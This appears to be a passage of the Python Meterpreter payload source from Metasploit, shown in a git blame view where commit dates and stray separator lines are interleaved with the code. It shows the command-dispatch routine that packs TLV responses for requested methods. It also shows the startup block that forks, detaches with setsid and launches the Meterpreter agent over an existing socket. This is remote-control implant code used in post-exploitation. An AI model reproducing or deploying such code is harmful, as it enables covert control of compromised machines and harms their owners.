return ERROR_SUCCESS, response
|
|
|
|
|
|
|
|
def create_response(self, request):
|
|
|
|
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
|
|
|
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
|
|
|
resp += tlv_pack(method_tlv)
|
|
|
|
|
|
|
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
|
|
|
resp += tlv_pack(reqid_tlv)
|
|
|
|
|
2014-05-29 19:09:09 +00:00
|
|
|
handler_name = method_tlv['value']
|
2013-09-10 19:06:33 +00:00
|
|
|
if handler_name in self.extension_functions:
|
|
|
|
handler = self.extension_functions[handler_name]
|
2013-08-06 03:38:49 +00:00
|
|
|
try:
|
2014-05-29 14:52:49 +00:00
|
|
|
if DEBUGGING:
|
2014-05-29 20:42:28 +00:00
|
|
|
print('[*] running method ' + handler_name)
|
2013-08-06 03:38:49 +00:00
|
|
|
result, resp = handler(request, resp)
|
2014-05-28 20:30:27 +00:00
|
|
|
except Exception:
|
2014-05-29 14:52:49 +00:00
|
|
|
if DEBUGGING:
|
2014-05-29 20:42:28 +00:00
|
|
|
print('[-] method ' + handler_name + ' resulted in an error')
|
2014-06-02 20:50:54 +00:00
|
|
|
traceback.print_exc(file=sys.stderr)
|
2013-08-06 03:38:49 +00:00
|
|
|
result = ERROR_FAILURE
|
|
|
|
else:
|
2014-05-29 14:52:49 +00:00
|
|
|
if DEBUGGING:
|
2014-05-29 20:42:28 +00:00
|
|
|
print('[-] method ' + handler_name + ' was requested but does not exist')
|
2013-08-06 03:38:49 +00:00
|
|
|
result = ERROR_FAILURE
|
|
|
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
|
|
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
|
|
|
return resp
|
2013-08-13 16:50:52 +00:00
|
|
|
|
2013-08-28 21:19:49 +00:00
|
|
|
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
2013-08-30 19:31:40 +00:00
|
|
|
if hasattr(os, 'setsid'):
|
2014-05-29 17:48:15 +00:00
|
|
|
try:
|
|
|
|
os.setsid()
|
|
|
|
except OSError:
|
|
|
|
pass
|
2013-08-28 21:19:49 +00:00
|
|
|
met = PythonMeterpreter(s)
|
|
|
|
met.run()
|